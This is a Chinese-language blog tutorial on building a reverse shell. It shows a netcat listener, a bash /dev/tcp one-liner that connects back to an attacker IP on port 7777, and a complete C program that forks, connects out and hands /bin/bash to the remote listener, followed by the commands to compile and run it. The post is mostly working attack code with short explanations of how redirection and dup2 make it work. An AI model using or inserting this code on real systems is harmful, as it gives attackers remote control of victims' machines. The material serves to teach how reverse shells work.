avatar

如何构建一个反弹shell

所谓反弹shell,就是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将攻击者的shell反弹到我们的机器上

linux命令行

在linux命令行上很简单实现,我们只需要准备两个可以互相通信的虚拟机

在第一台上面监听7777端口

1
$ nc -lvp 7777

在第二台上输入以下命令

1
$ bash -i >& /dev/tcp/172.16.119.170/7777 0>&1

bash -i 的意思是在本地打开一个bash,>&是linux中的重定位,而/dev/tcp是一个很特殊的文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在第一台机器上输入命令,输出以及错误输出的内容就会被传递显示到远程。

c语言实现

其实c语言的实现就是把上面的过程用c语言执行了一遍,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 7777;
char *ip = "172.16.119.170";

void main(int argc, char const *argv[])
{
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return 0;
}

dup2()函数作用就是上文中的文件重定位>&,这样说可能不太好,因为准确的说在shell的重定向功能中,输入重定向和输出重定向就是通过调用dup()和dup2()来实现的,不能说父亲长得像儿子。

connect函数原型为int connect (int sockfd,struct sockaddr * serv_addr,int addrlen);,成功返回0。

我们在第一台机器上对7777端口监听后,第二台机器上编译运行即可

1
2
$ gcc -o test test.c
$ ./test
文章作者: 0bs3rver
文章链接: http://yoursite.com/2020/11/22/%E5%A6%82%E4%BD%95%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E5%8F%8D%E5%BC%B9shell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋